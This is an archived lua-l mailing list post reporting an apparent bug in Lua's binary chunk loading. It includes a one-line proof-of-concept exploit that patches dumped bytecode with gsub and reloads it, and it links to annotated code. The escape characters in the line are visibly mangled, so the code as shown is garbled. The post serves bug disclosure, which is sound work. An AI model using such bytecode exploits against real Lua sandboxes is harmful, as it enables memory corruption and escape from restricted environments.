lua-users home
lua-l archive

Another bug related to binary chunks?

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


Minimal exploitation (assumes sizeof(int)==sizeof(size_t)==4 and little-endian):
local a,b,c;loadstring(('').dump(function()X={a,b}X=c[b]end):gsub('3円...2円.....2円....','1円0円0円'))()
Nicer annotated code with explanation:
http://pastebin.com/f281b0a36

AltStyle によって変換されたページ (->オリジナル) /